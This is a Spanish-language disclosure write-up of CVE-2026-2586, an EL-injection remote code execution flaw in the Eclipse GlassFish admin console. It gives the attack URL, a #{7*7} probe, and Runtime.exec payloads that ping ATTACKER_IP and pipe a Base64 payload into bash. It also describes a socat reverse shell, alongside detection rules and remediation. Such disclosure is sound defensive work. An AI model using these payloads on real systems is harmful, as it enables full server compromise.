← Todas las CVEs

CVE-2026-2586

Eclipse GlassFish · RCE autenticado en la consola de administración · CVSS 9.1 Crítica

Resumen

Eclipse GlassFish es uno de los servidores de aplicaciones Java EE / Jakarta EE más usados. Su consola de administración web expone funcionalidad de gestión de despliegues y configuración. Un usuario autenticado con acceso a esa consola puede enviar solicitudes manipuladas que derivan en ejecución de comandos arbitrarios del sistema operativo, con los privilegios del proceso de GlassFish.

Producto afectado

Descubrimiento

Durante una revisión autenticada de la consola de administración de GlassFish, noté que varias vistas JSF (.jsf) bajo /web/configuration/ muestran un banner de estado tras enviar un formulario ("la configuración se guardó", "no se pudo completar la operación", etc.). Ese banner se rellena con valores de la query string — alertType, alertSummary y alertDetail — reflejados directamente en la página. Cualquier endpoint que refleje un parámetro de la petición en la salida renderizada por el servidor merece una mirada más de cerca, así que el siguiente paso fue averiguar exactamente qué capa de plantillas hacía ese renderizado y cómo trataba el valor antes de imprimirlo.

La vulnerabilidad

El origen está en dos parámetros de URL, alertSummary y alertDetail, pensados solo para mostrar un mensaje de estado después de guardar una configuración (por ejemplo, "cambios guardados correctamente"). El problema es que la consola de GlassFish usa jsftemplating, un motor de plantillas capaz de procesar expresiones del lado del servidor con sintaxis #{...} (Expression Language) — y esos dos parámetros terminaban siendo re-evaluados por ese motor antes de renderizarse, en vez de tratarse como texto plano.

Esto ocurre porque jsftemplating no es un motor de plantillas de texto plano: recorre todo el árbol de componentes buscando marcadores #{...} para resolver valores dinámicos contra managed beans — el mismo mecanismo que permite que una página real muestre #{someBean.someProperty}. Ese paso de resolución es legítimo y necesario para que las páginas JSF funcionen; el fallo no es que exista la evaluación de EL, sino que un valor que llega directo de la query string se alimenta a ese mismo camino de evaluación en vez de insertarse como texto literal después de que la página ya fue construida.

Existía una función htmlEscape() aplicada al valor, pero esa protección solo neutraliza HTML interpretado por el navegador; no evita que el motor de EL del servidor evalúe la expresión antes de llegar a esa capa. Es decir: la defensa estaba puesta en la capa equivocada. Una URL de ataque simplificada se ve así:

GET /web/configuration/virtualServerEdit.jsf?name=server&configName=server-config
&alertType=success&alertSummary=[EXPRESIÓN_EL_MALICIOSA]&alertDetail=&bare=true

A través de esa expresión EL es posible invocar java.lang.Runtime y ejecutar comandos del sistema operativo con los privilegios del proceso de GlassFish.

Un payload mínimo de confirmación — antes de preocuparse por la ejecución de comandos — basta para probar que el motor está evaluando el valor en vez de imprimirlo tal cual, ya que una operación aritmética simple dentro de #{...} se resuelve en el servidor:

alertSummary=%23%7B7*7%7D
→ el banner de estado muestra "49" en vez de "7*7"

Prueba de concepto

La prueba de concepto completa — scripts de la petición, el payload usado para la comprobación fuera de banda y las notas tomadas al convertirlo en una shell interactiva — está publicada en mi repositorio Glassfish-research.

Explotación

La confirmación inicial de ejecución se hizo con un canal fuera de banda (ping ICMP hacia un servidor propio), para verificar el hallazgo sin depender de la respuesta HTTP:

#{' '.class.forName('java.lang.Runtime').getMethod('getRuntime')
.invoke(null).exec('ping -c 3 ATTACKER_IP')}

Convertir esa ejecución en una shell interactiva no fue trivial: leer la salida del comando directamente chocaba con el manejo del stream de la respuesta HTTP, y las limitaciones de Runtime.exec() obligaron a recurrir a herramientas como socat y expansión de llaves de bash para encadenar los comandos. El payload final viajaba codificado en Base64 para sobrevivir las distintas capas de procesamiento hasta llegar al motor de EL intacto.

El obstáculo práctico es que Runtime.exec() recibe un único comando sin interpretación de shell, así que no puede ejecutar tuberías, redirecciones o varios comandos encadenados directamente — cada uno de esos casos necesita pasarse explícitamente por /bin/bash -c. A eso se suma que la URL de la petición tiene sus propios límites de longitud y codificación de caracteres, por lo que el comando final viajaba codificado en Base64 y se decodificaba de nuevo en el objetivo antes de ejecutarse, en vez de enviarse como sintaxis de shell en crudo:

#{' '.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null)
.exec(new String[]{'/bin/bash','-c','echo BASE64_PAYLOAD|base64 -d|bash'})}

Con eso en marcha, el payload decodificado en el objetivo usaba socat para abrir una TTY completa hacia un listener propio, que fue lo que finalmente dio una shell interactiva y estable en vez de una ejecución de comando ciega y de un solo disparo.

Impacto

Con acceso autenticado a la consola, esto se traduce en compromiso completo del servidor: ejecución de comandos del sistema operativo, despliegue de aplicaciones maliciosas, modificación de la configuración y persistencia en el host donde corre GlassFish — además de acceso a cualquier aplicación desplegada y sus credenciales.

Detección

Las peticiones a cualquier endpoint /web/configuration/*.jsf donde alertSummary o alertDetail contengan #{, sintaxis de EL codificada en URL, o referencias a java.lang.Runtime / ProcessBuilder son un indicador fuerte de intentos de explotación y deberían señalizarse en los logs de acceso o en una regla de WAF. Los procesos hijos inesperados generados por la JVM de GlassFish (asadmin, java, shells, socat) son el indicador correspondiente a nivel de host.

Cronología

Remediación

Corregido en GlassFish 8.0.2, 7.1.1 y 7.0.26. La lección de fondo: una sanitización válida en la capa equivocada no protege de nada — htmlEscape() evita XSS en el navegador, pero no evita que un motor de expresiones del servidor evalúe esa misma cadena antes de llegar ahí. Se recomienda actualizar a alguna de esas versiones o posteriores, aplicar escapado específico para el contexto de Expression Language (no solo HTML), y restringir el acceso a la consola de administración solo a usuarios y redes estrictamente necesarias.

Como defensa en profundidad adicional mientras se despliega el parche: restringir el acceso de red a la consola de administración (puerto 4848 por defecto) a una VLAN de gestión o VPN, deshabilitarla por completo en instancias que no necesiten administración remota, y monitorizar los patrones de petición descritos arriba.

Referencias